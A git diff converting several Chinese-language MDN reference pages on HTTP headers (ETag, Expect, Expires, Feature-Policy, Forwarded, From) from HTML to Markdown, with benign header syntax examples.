    +```plain +Early-Data: 1 +``` -

    示例

    +## 示例 -
    GET /resource HTTP/1.0
    +```plain
    +GET /resource HTTP/1.0
     Host: example.com
    -Early-Data: 1
    +Early-Data: 1 +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容

    +## 浏览器兼容 -

    {{Compat}}

    +{{Compat}} diff --git a/files/zh-cn/web/http/headers/etag/index.md b/files/zh-cn/web/http/headers/etag/index.md index 0ce38f50622e29..a17a4466067ab7 100644 --- a/files/zh-cn/web/http/headers/etag/index.md +++ b/files/zh-cn/web/http/headers/etag/index.md @@ -6,85 +6,77 @@ tags: - header translation_of: Web/HTTP/Headers/ETag --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -
    +**`ETag`**HTTP 响应头是资源的特定版本的标识符。这可以让缓存更高效,并节省带宽,因为如果内容没有改变,Web 服务器不需要发送完整的响应。而如果内容发生了变化,使用 ETag 有助于防止资源的同时更新相互覆盖(“空中碰撞”)。 -

    ETagHTTP 响应头是资源的特定版本的标识符。这可以让缓存更高效,并节省带宽,因为如果内容没有改变,Web 服务器不需要发送完整的响应。而如果内容发生了变化,使用 ETag 有助于防止资源的同时更新相互覆盖(“空中碰撞”)。

    +如果给定 URL 中的资源更改,则一定要生成新的 Etag 值。 因此 Etags 类似于指纹,也可能被某些服务器用于跟踪。 比较 etags 能快速确定此资源是否变化,但也可能被跟踪服务器永久存留。 -

    如果给定 URL 中的资源更改,则一定要生成新的 Etag 值。 因此 Etags 类似于指纹,也可能被某些服务器用于跟踪。 比较 etags 能快速确定此资源是否变化,但也可能被跟踪服务器永久存留。

    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +## 语法 -

    语法

    +```plain +ETag: W/"" +ETag: "" +``` -
    ETag: W/"<etag_value>"
    -ETag: "<etag_value>"
    -
    +## 指令 -

    指令

    +- `W/` {{optional_inline}} + - : `'W/'`(大小写敏感) 表示使用[弱验证器](/zh-CN/docs/Web/HTTP/Conditional_requests#Weak_validation)。 弱验证器很容易生成,但不利于比较。 强验证器是比较的理想选择,但很难有效地生成。 相同资源的两个弱`Etag`值可能语义等同,但不是每个字节都相同。 +- "\" + - : 实体标签唯一地表示所请求的资源。 它们是位于双引号之间的 ASCII 字符串(如“675af34563dc-tr34”)。 没有明确指定生成 ETag 值的方法。 通常,使用内容的散列,最后修改时间戳的哈希值,或简单地使用版本号。 例如,MDN 使用 wiki 内容的十六进制数字的哈希值。 -
    -
    W/ {{optional_inline}}
    -
    'W/'(大小写敏感) 表示使用弱验证器。 弱验证器很容易生成,但不利于比较。 强验证器是比较的理想选择,但很难有效地生成。 相同资源的两个弱Etag值可能语义等同,但不是每个字节都相同。
    -
    "<etag_value>"
    -
    实体标签唯一地表示所请求的资源。 它们是位于双引号之间的 ASCII 字符串(如“675af34563dc-tr34”)。 没有明确指定生成 ETag 值的方法。 通常,使用内容的散列,最后修改时间戳的哈希值,或简单地使用版本号。 例如,MDN 使用 wiki 内容的十六进制数字的哈希值。
    -
    +## 示例 -

    示例

    +```plain +ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" +ETag: W/"0815" +``` -
    ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
    -ETag: W/"0815"
    +### 避免“空中碰撞” -

    避免“空中碰撞”

    +在`ETag`和 {{HTTPHeader("If-Match")}} 头部的帮助下,您可以检测到"空中碰撞"的编辑冲突。 -

    ETag和 {{HTTPHeader("If-Match")}} 头部的帮助下,您可以检测到"空中碰撞"的编辑冲突。

    +例如,当编辑 MDN 时,当前的 wiki 内容被散列,并在响应中放入`Etag`: -

    例如,当编辑 MDN 时,当前的 wiki 内容被散列,并在响应中放入Etag

    +```plain +ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4 +``` -
    ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4
    +将更改保存到 Wiki 页面(发布数据)时,{{HTTPMethod("POST")}}请求将包含有 ETag 值的{{HTTPHeader("If-Match")}}头来检查是否为最新版本。 -

    将更改保存到 Wiki 页面(发布数据)时,{{HTTPMethod("POST")}}请求将包含有 ETag 值的{{HTTPHeader("If-Match")}}头来检查是否为最新版本。

    +```plain +If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4" +``` -
    If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
    +如果哈希值不匹配,则意味着文档已经被编辑,抛出{{HTTPStatus("412")}}前提条件失败错误。 -

    如果哈希值不匹配,则意味着文档已经被编辑,抛出{{HTTPStatus("412")}}前提条件失败错误。

    +### 缓存未更改的资源 -

    缓存未更改的资源

    +`ETag`头的另一个典型用例是缓存未更改的资源。 如果用户再次访问给定的 URL(设有`ETag`字段),显示资源过期了且不可用,客户端就发送值为`ETag`的{{HTTPHeader("If-None-Match")}} header 字段: -

    ETag头的另一个典型用例是缓存未更改的资源。 如果用户再次访问给定的 URL(设有ETag字段),显示资源过期了且不可用,客户端就发送值为ETag的{{HTTPHeader("If-None-Match")}} header 字段:

    +```plain +If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4" +``` -
    If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
    +服务器将客户端的 ETag(作为 If-None-Match 字段的值一起发送)与其当前版本的资源的 ETag 进行比较,如果两个值匹配(即资源未更改),服务器将返回不带任何内容的{{HTTPStatus("304")}}未修改状态,告诉客户端缓存版本可用(新鲜)。 -

    服务器将客户端的 ETag(作为 If-None-Match 字段的值一起发送)与其当前版本的资源的 ETag 进行比较,如果两个值匹配(即资源未更改),服务器将返回不带任何内容的{{HTTPStatus("304")}}未修改状态,告诉客户端缓存版本可用(新鲜)。

    - -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 - +- {{HTTPHeader("If-Match")}} +- {{HTTPHeader("If-None-Match")}} +- {{HTTPStatus("304")}}` Not Modified` +- {{HTTPStatus("412")}}` Precondition Failed` +- [W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout](https://www.w3.org/1999/04/Editing/) diff --git a/files/zh-cn/web/http/headers/expect/index.md b/files/zh-cn/web/http/headers/expect/index.md index f49d7803ad000c..79ce46d4a0a0fb 100644 --- a/files/zh-cn/web/http/headers/expect/index.md +++ b/files/zh-cn/web/http/headers/expect/index.md @@ -3,74 +3,61 @@ title: Expect slug: Web/HTTP/Headers/Expect translation_of: Web/HTTP/Headers/Expect --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Expect 是一个请求消息头,包含一个期望条件,表示服务器只有在满足此期望条件的情况下才能妥善地处理请求。

    +**`Expect`** 是一个请求消息头,包含一个期望条件,表示服务器只有在满足此期望条件的情况下才能妥善地处理请求。 -

    规范中只规定了一个期望条件,即 Expect: 100-continue, 对此服务器可以做出如下回应:

    +规范中只规定了一个期望条件,即 `Expect: 100-continue`, 对此服务器可以做出如下回应: -
      -
    • {{HTTPStatus("100")}} 如果消息头中的期望条件可以得到满足,使得请求可以顺利进行的话,
    • -
    • {{HTTPStatus("417")}} (Expectation Failed) 如果服务器不能满足期望条件的话;也可以是其他任意表示客户端错误的状态码(4xx)。
    • -
    +- {{HTTPStatus("100")}} 如果消息头中的期望条件可以得到满足,使得请求可以顺利进行的话, +- {{HTTPStatus("417")}} (Expectation Failed) 如果服务器不能满足期望条件的话;也可以是其他任意表示客户端错误的状态码(4xx)。 -

    例如,如果请求中 {{HTTPHeader("Content-Length")}} 的值太大的话,可能会遭到服务器的拒绝。

    +例如,如果请求中 {{HTTPHeader("Content-Length")}} 的值太大的话,可能会遭到服务器的拒绝。 -

    常见的浏览器不会发送 Expect 消息头,但是其他类型的客户端如 cURL 默认会这么做。

    +常见的浏览器不会发送 `Expect` 消息头,但是其他类型的客户端如 cURL 默认会这么做。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -

    目前规范中只规定了 "100-continue" 这一个期望条件。

    +目前规范中只规定了 "100-continue" 这一个期望条件。 -
    Expect: 100-continue
    -
    +```plain +Expect: 100-continue +``` -

    指令

    +## 指令 -
    -
    100-continue
    -
    通知接收方客户端要发送一个体积可能很大的消息体,期望收到状态码为{{HTTPStatus("100")}} (Continue) 的临时回复。
    -
    +- 100-continue + - : 通知接收方客户端要发送一个体积可能很大的消息体,期望收到状态码为{{HTTPStatus("100")}} (Continue) 的临时回复。 -

    示例

    +## 示例 -

    大消息体

    +### 大消息体 -

    客户端发送带有 Expect 消息头的请求,等服务器回复后再发送消息体。

    +客户端发送带有 Expect 消息头的请求,等服务器回复后再发送消息体。 -
    PUT /somewhere/fun HTTP/1.1
    +```plain
    +PUT /somewhere/fun HTTP/1.1
     Host: origin.example.com
     Content-Type: video/h264
     Content-Length: 1234567890987
     Expect: 100-continue
    -
    +``` -

    服务器开始检查请求消息头,可能会返回一个状态码为 {{HTTPStatus("100")}} (Continue) 的回复来告知客户端继续发送消息体,也可能会返回一个状态码为{{HTTPStatus("417")}} (Expectation Failed) 的回复来告知对方要求不能得到满足。

    +服务器开始检查请求消息头,可能会返回一个状态码为 {{HTTPStatus("100")}} (Continue) 的回复来告知客户端继续发送消息体,也可能会返回一个状态码为{{HTTPStatus("417")}} (Expectation Failed) 的回复来告知对方要求不能得到满足。 -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 {{Compat}} -

    参见

    +## 参见 -
      -
    • {{HTTPStatus("417")}} Expectation Failed
    • -
    • {{HTTPStatus("100")}} Continue
    • -
    +- {{HTTPStatus("417")}}` Expectation Failed` +- {{HTTPStatus("100")}}` Continue` diff --git a/files/zh-cn/web/http/headers/expires/index.md b/files/zh-cn/web/http/headers/expires/index.md index ff54c0814024ad..a73739d065df9e 100644 --- a/files/zh-cn/web/http/headers/expires/index.md +++ b/files/zh-cn/web/http/headers/expires/index.md @@ -5,62 +5,43 @@ tags: - 缓存,头部,HTTP,响应,response translation_of: Web/HTTP/Headers/Expires --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}}**`Expires`** 响应头包含日期/时间, 即在此时候之后,响应过期。 -
    Expires 响应头包含日期/时间, 即在此时候之后,响应过期。
    +无效的日期,比如 0,代表着过去的日期,即该资源已经过期。 -
    +如果在{{HTTPHeader("Cache-Control")}}响应头设置了 "max-age" 或者 "s-max-age" 指令,那么 `Expires` 头会被忽略。 -

    无效的日期,比如 0,代表着过去的日期,即该资源已经过期。

    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | +| {{Glossary("Simple response header", "CORS-safelisted response-header")}} | yes | -

    如果在{{HTTPHeader("Cache-Control")}}响应头设置了 "max-age" 或者 "s-max-age" 指令,那么 Expires 头会被忽略。

    +## 语法 - - - - - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    {{Glossary("Simple response header", "CORS-safelisted response-header")}}yes
    +```plain +Expires: +``` -

    语法

    +## 指南 -
    Expires: <http-date>
    -
    +- \ + - : 一个 HTTP-日期 时间戳 -

    指南

    +## 示例 -
    -
    <http-date>
    -
    -

    一个 HTTP-日期 时间戳

    -
    -
    +```plain +Expires: Wed, 21 Oct 2015 07:28:00 GMT +``` -

    示例

    - -
    Expires: Wed, 21 Oct 2015 07:28:00 GMT
    - -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    其他

    +## 其他 -
      -
    • {{HTTPHeader("Cache-Control")}}
    • -
    • {{HTTPHeader("Age")}}
    • -
    +- {{HTTPHeader("Cache-Control")}} +- {{HTTPHeader("Age")}} diff --git a/files/zh-cn/web/http/headers/feature-policy/index.md b/files/zh-cn/web/http/headers/feature-policy/index.md index a05ae0059b8f44..838e546e7bccf1 100644 --- a/files/zh-cn/web/http/headers/feature-policy/index.md +++ b/files/zh-cn/web/http/headers/feature-policy/index.md @@ -3,106 +3,86 @@ title: Feature-Policy slug: Web/HTTP/Headers/Feature-Policy translation_of: Web/HTTP/Headers/Feature-Policy --- -
    {{HTTPSidebar}} {{SeeCompatTable}}
    - -
    - -
    Feature-Policy响应头提供了一种可以在本页面或包含的 iframe 上启用或禁止浏览器特性的机制。
    - -

    更多的信息,请查看Feature Policy

    - - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}yes
    - -

    语法

    - -
    Feature-Policy: <directive> <allowlist>
    - -

    <allowlist>

    - -
      -
    • *: 允许在当前文档和所有包含的内容(比如 iframes)中使用本特性。
    • -
    • 'self': 允许在当前文档中使用本特性,但在包含的内容(比如 iframes)仍使用原值。
    • -
    • 'src': (只在 iframe 中允许) 只要在{{HTMLElement('iframe','src','#Attributes')}} 中的 URL 和加载 iframe 用的 URL 相同,则本特性在 iframe 中允许,
    • -
    • 'none': 从最上层到包含的内容都禁止本特性。 <origin(s)>: 在特定的源中允许,源 URL 以空格分割。
    • -
    - -
      -
    • *: 本特性默认在最上层和包含的内容中(iframes)允许。
    • -
    • 'self': 本特性默认在最上层允许,而包含的内容中(iframes)使用源地址相同设定。也就是说本特性在 iframe 中不允许跨域访问。
    • -
    • 'none': 本特性默认在最上层和包含的内容中(iframes)都禁止。
    • -
    - -

    *(在所有源地址启用)或'none'(在所有源地址禁用) 只允许单独使用,而'self''src'可以与多个源地址一起使用。

    - -

    所有的特性都有一个如下的默认的 allowlist

    - -
      -
    • *: 本特性默认在最上层和包含的内容中(iframes)允许。
    • -
    • 'self': 本特性默认在最上层允许,而包含的内容中(iframes)使用源地址相同设定。也就是说本特性在 iframe 中不允许跨域访问。
    • -
    • 'none': 本特性默认在最上层和包含的内容中(iframes)都禁止。
    • -
    - -

    指令

    - -
    -
    {{httpheader('Feature-Policy/autoplay','autoplay')}}
    -
    控制是否允许当前文档自动播放媒体。这种控制是通过接口 {{domxref("HTMLMediaElement")}} 来实现。当这种规则被启用,而且没有用户操作的时候,{{domxref("HTMLMediaElement.play()")}}返回的 {{domxref("Promise")}}会拒绝并抛出一个DOMException异常。在{{HTMLELement("audio")}}和{{HTMLELement("video")}}上的 autoplay 属性会被忽略。
    -
    {{httpheader('Feature-Policy/camera', 'camera')}}
    -
    控制是否允许当前文档使用视频输入设备。当这种规则被启用时,{{domxref("MediaDevices.getUserMedia()")}}返回的 the {{jsxref("Promise")}}会拒绝并抛出错误NotAllowedError。
    -
    {{httpheader('Feature-Policy/document-domain','document-domain')}}
    -
    控制是否允许当前文档设置{{domxref("document.domain")}}。当这种规则被启用时,尝试设置{{domxref("document.domain")}}会失败并抛出SecurityError {{domxref("DOMException")}}异常。
    -
    {{httpheader('Feature-Policy/encrypted-media', 'encrypted-media')}}
    -
    控制是否允许当前文档使用Encrypted Media Extensions API (EME)。当这种规则被启用时,{{domxref("Navigator.requestMediaKeySystemAccess()")}}返回的{{domxref("Promise")}}会拒绝并抛出DOMException异常。
    -
    {{httpheader('Feature-Policy/fullscreen','fullscreen')}}
    -
    控制是否允许当前文档使用{{domxref('Element.requestFullScreen()')}}。当这种规则被启用时,返回的{{jsxref('Promise')}}会拒绝并抛出{{jsxref('TypeError')}}。
    -
    {{httpheader('Feature-Policy/geolocation','geolocation')}}
    -
    控制是否允许当前文档使用{{domxref('Geolocation')}}接口。当这种规则被启用时,调用{{domxref('Geolocation.getCurrentPosition','getCurrentPosition()')}}和{{domxref('Geolocation.watchPosition','watchPosition()')}}会返回包含PERMISSION_DENIED的 {{domxref('PositionError')}}。
    -
    {{httpheader('Feature-Policy/microphone','microphone')}}
    -
    控制是否允许当前文档使用音频输入设备。当这种规则被启用时,{{domxref("MediaDevices.getUserMedia()")}}返回的 the {{jsxref("Promise")}}会拒绝并抛出错误NotAllowedError。
    -
    {{httpheader('Feature-Policy/midi', 'midi')}}
    -
    控制是否允许当前文档使用Web MIDI API。当这种规则被启用时,{{domxref("Navigator.requestMIDIAccess()")}} 返回的 the {{jsxref("Promise")}}会拒绝并抛出错误DOMException。
    -
    {{httpheader('Feature-Policy/payment', 'payment')}}
    -
    控制是否允许当前文档使用Payment Request API。当这种规则被启用时,构造器{{domxref("PaymentRequest()")}} 会抛出错误SecurityError。
    -
    {{httpheader('Feature-Policy/vr', 'vr')}} / xr
    -
    控制是否允许当前文档使用WebVR API。当这种规则被启用时,{{domxref("Navigator.getVRDisplays()")}} 返回的 the {{jsxref("Promise")}}会拒绝并抛出错误DOMException。
    -
    - -

    示例

    - -

    SecureCorp Inc. 公司想要在应用中禁用震动和定位 API,则可以在返回的 response 中传递以下定义 feature policy 的 HTTP 的头部信息:

    - -
    Feature-Policy: vibrate 'none'; geolocation 'none'
    -
    - -

    通过使用'none'关键词,不管原来如何设定,这些特性在所有浏览的上下文中都会被禁用。

    - -

    规范

    +{{HTTPSidebar}} {{SeeCompatTable}}**`Feature-Policy`**响应头提供了一种可以在本页面或包含的 iframe 上启用或禁止浏览器特性的机制。 -{{Specifications}} +更多的信息,请查看[Feature Policy](/docs/Web/HTTP/Feature_Policy) + +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | + +## 语法 + +```plain +Feature-Policy: +``` + +**\** + +- `*`: 允许在当前文档和所有包含的内容(比如 iframes)中使用本特性。 +- `'self'`: 允许在当前文档中使用本特性,但在包含的内容(比如 iframes)仍使用原值。 +- `'src'`: (只在 iframe 中允许) 只要在{{HTMLElement('iframe','src','#Attributes')}} 中的 URL 和加载 iframe 用的 URL 相同,则本特性在 iframe 中允许, +- `'none'`: 从最上层到包含的内容都禁止本特性。 \: 在特定的源中允许,源 URL 以空格分割。 + + + +- `*`: 本特性默认在最上层和包含的内容中(iframes)允许。 +- `'self'`: 本特性默认在最上层允许,而包含的内容中(iframes)使用源地址相同设定。也就是说本特性在 iframe 中不允许跨域访问。 +- `'none'`: 本特性默认在最上层和包含的内容中(iframes)都禁止。 + +`*`(在所有源地址启用)`或'none'`(在所有源地址禁用) 只允许单独使用,而`'self'`和`'src'`可以与多个源地址一起使用。 -

    浏览器兼容

    +所有的特性都有一个如下的默认的 allowlist +- `*`: 本特性默认在最上层和包含的内容中(iframes)允许。 +- `'self'`: 本特性默认在最上层允许,而包含的内容中(iframes)使用源地址相同设定。也就是说本特性在 iframe 中不允许跨域访问。 +- `'none'`: 本特性默认在最上层和包含的内容中(iframes)都禁止。 + +## 指令 + +- {{httpheader('Feature-Policy/autoplay','autoplay')}} + - : 控制是否允许当前文档自动播放媒体。这种控制是通过接口 {{domxref("HTMLMediaElement")}} 来实现。当这种规则被启用,而且没有用户操作的时候,{{domxref("HTMLMediaElement.play()")}}返回的 {{domxref("Promise")}}会拒绝并抛出一个`DOMException`异常。在{{HTMLELement("audio")}}和{{HTMLELement("video")}}上的 autoplay 属性会被忽略。 +- {{httpheader('Feature-Policy/camera', 'camera')}} + - : 控制是否允许当前文档使用视频输入设备。当这种规则被启用时,{{domxref("MediaDevices.getUserMedia()")}}返回的 the {{jsxref("Promise")}}会拒绝并抛出错误`NotAllowedError。` +- {{httpheader('Feature-Policy/document-domain','document-domain')}} + - : 控制是否允许当前文档设置{{domxref("document.domain")}}。当这种规则被启用时,尝试设置{{domxref("document.domain")}}会失败并抛出`SecurityError `{{domxref("DOMException")}}异常。 +- {{httpheader('Feature-Policy/encrypted-media', 'encrypted-media')}} + - : 控制是否允许当前文档使用[Encrypted Media Extensions](/zh-CN/docs/Web/API/Encrypted_Media_Extensions_API) API (EME)。当这种规则被启用时,{{domxref("Navigator.requestMediaKeySystemAccess()")}}返回的{{domxref("Promise")}}会拒绝并抛出`DOMException`异常。 +- {{httpheader('Feature-Policy/fullscreen','fullscreen')}} + - : 控制是否允许当前文档使用{{domxref('Element.requestFullScreen()')}}。当这种规则被启用时,返回的{{jsxref('Promise')}}会拒绝并抛出{{jsxref('TypeError')}}。 +- {{httpheader('Feature-Policy/geolocation','geolocation')}} + - : 控制是否允许当前文档使用{{domxref('Geolocation')}}接口。当这种规则被启用时,调用{{domxref('Geolocation.getCurrentPosition','getCurrentPosition()')}}和{{domxref('Geolocation.watchPosition','watchPosition()')}}会返回包含`PERMISSION_DENIED`的 {{domxref('PositionError')}}。 +- {{httpheader('Feature-Policy/microphone','microphone')}} + - : 控制是否允许当前文档使用音频输入设备。当这种规则被启用时,{{domxref("MediaDevices.getUserMedia()")}}返回的 the {{jsxref("Promise")}}会拒绝并抛出错误`NotAllowedError。` +- {{httpheader('Feature-Policy/midi', 'midi')}} + - : 控制是否允许当前文档使用[Web MIDI API](/zh-CN/docs/Web/API/Web_MIDI_API)。当这种规则被启用时,{{domxref("Navigator.requestMIDIAccess()")}} 返回的 the {{jsxref("Promise")}}会拒绝并抛出错误`DOMException。` +- {{httpheader('Feature-Policy/payment', 'payment')}} + - : 控制是否允许当前文档使用[Payment Request API](/zh-CN/docs/Web/API/Payment_Request_API)。当这种规则被启用时,构造器{{domxref("PaymentRequest()")}} 会抛出错误`SecurityError。` +- {{httpheader('Feature-Policy/vr', 'vr')}} / `xr` + - : 控制是否允许当前文档使用[WebVR API](/zh-CN/docs/Web/API/WebVR_API)。当这种规则被启用时,{{domxref("Navigator.getVRDisplays()")}} 返回的 the {{jsxref("Promise")}}会拒绝并抛出错误`DOMException。` + +## 示例 + +SecureCorp Inc. 公司想要在应用中禁用震动和定位 API,则可以在返回的 response 中传递以下定义 feature policy 的 HTTP 的头部信息: + +```plain +Feature-Policy: vibrate 'none'; geolocation 'none' +``` + +通过使用`'none'`关键词,不管原来如何设定,这些特性在所有浏览的上下文中都会被禁用。 + +## 规范 + +{{Specifications}} +## 浏览器兼容 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 - +- [Feature Policy](/zh-CN/docs/Web/HTTP/Feature_Policy) +- [Using Feature Policy](/zh-CN/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy) +- [Feature-Policy Tester (Chrome Developer Tools extension)](https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop) +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTTPHeader("Referrer-Policy")}} diff --git a/files/zh-cn/web/http/headers/forwarded/index.md b/files/zh-cn/web/http/headers/forwarded/index.md index 322b71464fffa0..b736ca07f1039a 100644 --- a/files/zh-cn/web/http/headers/forwarded/index.md +++ b/files/zh-cn/web/http/headers/forwarded/index.md @@ -9,60 +9,47 @@ tags: - 请求头部 translation_of: Web/HTTP/Headers/Forwarded --- -
    {{HTTPSidebar}}
    - -

    Forwarded 首部中包含了代理服务器的客户端的信息,即由于代理服务器在请求路径中的介入而被修改或丢失的信息。

    - -

    其他可用来替换的,已经成为既成标准的首部是 {{HTTPHeader("X-Forwarded-For")}} 、 {{HTTPHeader("X-Forwarded-Host")}} 以及{{HTTPHeader("X-Forwarded-Proto")}} 。

    - -

    这个消息首部会被用来进行调试和统计,以及生成基于位置的定制化内容,按照设计的目的,它会暴露一定的隐私和敏感信息,比如客户端的 IP 地址。所以在应用此消息首部的时候,需要将用户的隐私问题考虑在内。

    - - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    - -

    语法

    - -
    Forwarded: by=<identifier>; for=<identifier>; host=<host>; proto=<http|https>
    -
    - -

    指令

    - -
    -
    <identifier>
    -
    一个 identifier 显示了在使用代理的过程中被修改或者丢失的信息。它们可以是以下几种形式: -
      -
    • 一个 IP 地址(V4 或 V6,端口号可选,ipv6 地址需要包含在方括号里面,同时用引号括起来),
    • -
    • 语意不明的标识符(比如 "_hidden" 或者 "_secret"),
    • -
    • 或者是 "unknown",当当前信息实体不可知的时候(但是你依然想要说明请求被进行了转发)。
    • -
    -
    -
    by=<identifier>
    -
    该请求进入到代理服务器的接口。
    -
    for=<identifier>
    -
    发起请求的客户端以及代理链中的一系列的代理服务器。
    -
    host=<host>
    -
    代理接收到的 {{HTTPHeader("Host")}} 首部的信息。
    -
    proto=<http|https>
    -
    -

    表示发起请求时采用的何种协议(通常是 "http" 或者 "https")。

    -
    -
    - -

    示例

    - -

    使用 Forwarded

    - -
    Forwarded: for="_mdn"
    +{{HTTPSidebar}}
    +
    +**`Forwarded`** 首部中包含了代理服务器的客户端的信息,即由于代理服务器在请求路径中的介入而被修改或丢失的信息。
    +
    +其他可用来替换的,已经成为既成标准的首部是 {{HTTPHeader("X-Forwarded-For")}} 、 {{HTTPHeader("X-Forwarded-Host")}} 以及{{HTTPHeader("X-Forwarded-Proto")}} 。
    +
    +这个消息首部会被用来进行调试和统计,以及生成基于位置的定制化内容,按照设计的目的,它会暴露一定的隐私和敏感信息,比如客户端的 IP 地址。所以在应用此消息首部的时候,需要将用户的隐私问题考虑在内。
    +
    +| Header type                                      | {{Glossary("Request header")}} |
    +| ------------------------------------------------ | ---------------------------------------- |
    +| {{Glossary("Forbidden header name")}} | no                                       |
    +
    +## 语法
    +
    +```plain
    +Forwarded: by=; for=; host=; proto=
    +```
    +
    +## 指令
    +
    +- \
    +  - : 一个 identifier 显示了在使用代理的过程中被修改或者丢失的信息。它们可以是以下几种形式:
    +
    +    - 一个 IP 地址(V4 或 V6,端口号可选,ipv6 地址需要包含在方括号里面,同时用引号括起来),
    +    - 语意不明的标识符(比如 "\_hidden" 或者 "\_secret"),
    +    - 或者是 "unknown",当当前信息实体不可知的时候(但是你依然想要说明请求被进行了转发)。
    +- by=\
    +  - : 该请求进入到代理服务器的接口。
    +- for=\
    +  - : 发起请求的客户端以及代理链中的一系列的代理服务器。
    +- host=\
    +  - : 代理接收到的 {{HTTPHeader("Host")}} 首部的信息。
    +- proto=\
    +  - : 表示发起请求时采用的何种协议(通常是 "http" 或者 "https")。
    +
    +## 示例
    +
    +### 使用 `Forwarded`
    +
    +```plain
    +Forwarded: for="_mdn"
     
     # 大小写不敏感
     Forwarded: For="[2001:db8:cafe::17]:4711"
    @@ -72,28 +59,27 @@ Forwarded: for=192.0.2.60; proto=http; by=203.0.113.43
     
     # 多值可用逗号分隔
     Forwarded: for=192.0.2.43, for=198.51.100.17
    -
    +``` -

    从 X-Forwarded-For 到 Forwarded 的迁移

    +### 从 X-Forwarded-For 到 Forwarded 的迁移 -

    如果应用、服务器或是代理支持标准格式的 Forwarded 的首部的话,那么 {{HTTPHeader("X-Forwarded-For")}} 可以被替换。需要注意的是,在 Forwarded 中 ipv6 地址需要包含在方括号里面,同时用引号括起来。

    +如果应用、服务器或是代理支持标准格式的 Forwarded 的首部的话,那么 {{HTTPHeader("X-Forwarded-For")}} 可以被替换。需要注意的是,在 Forwarded 中 ipv6 地址需要包含在方括号里面,同时用引号括起来。 -
    X-Forwarded-For: 123.34.567.89
    +```plain
    +X-Forwarded-For: 123.34.567.89
     Forwarded: for=123.34.567.89
     
     X-Forwarded-For: 192.0.2.43, 2001:db8:cafe::17
     Forwarded: for=192.0.2.43, for="[2001:db8:cafe::17]"
    -
    +``` -

    规范

    +## 规范 {{Specifications}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("X-Forwarded-For")}}
    • -
    • {{HTTPHeader("X-Forwarded-Host")}}
    • -
    • {{HTTPHeader("X-Forwarded-Proto")}}
    • -
    • {{HTTPHeader("Via")}} – 提供代理自身的信息,而非与其相连的客户端信息。
    • -
    +- {{HTTPHeader("X-Forwarded-For")}} +- {{HTTPHeader("X-Forwarded-Host")}} +- {{HTTPHeader("X-Forwarded-Proto")}} +- {{HTTPHeader("Via")}} – 提供代理自身的信息,而非与其相连的客户端信息。 diff --git a/files/zh-cn/web/http/headers/from/index.md b/files/zh-cn/web/http/headers/from/index.md index 474b94cb4414f3..d37649c3cfaec5 100644 --- a/files/zh-cn/web/http/headers/from/index.md +++ b/files/zh-cn/web/http/headers/from/index.md @@ -6,55 +6,43 @@ tags: - 首部 translation_of: Web/HTTP/Headers/From --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    请求首部 From 中包含一个电子邮箱地址,这个电子邮箱地址属于发送请求的用户代理的实际掌控者的人类用户。

    +请求首部 **`From`** 中包含一个电子邮箱地址,这个电子邮箱地址属于发送请求的用户代理的实际掌控者的人类用户。 -

    如果你在运行一个机器人代理程序(比如爬虫),那么 Form 首部应该随请求一起发送,这样的话,在服务器遇到问题的时候,例如机器人代理发送了过量的、不希望收到的或者不合法的请求,站点管理员可以联系到你。

    +如果你在运行一个机器人代理程序(比如爬虫),那么 Form 首部应该随请求一起发送,这样的话,在服务器遇到问题的时候,例如机器人代理发送了过量的、不希望收到的或者不合法的请求,站点管理员可以联系到你。 -
    -

    不可以将 From 首部用于访问控制或者身份验证。

    -
    +> **警告:** 不可以将 From 首部用于访问控制或者身份验证。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    From: <email>
    -
    +```plain +From: +``` -

    指令

    +## 指令 -
    -
    <email>
    -
    一个机器可识别的电子邮箱地址。
    -
    +- \ + - : 一个机器可识别的电子邮箱地址。 -

    示例

    +## 示例 -
    From: webmaster@example.org
    +```plain +From: webmaster@example.org +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

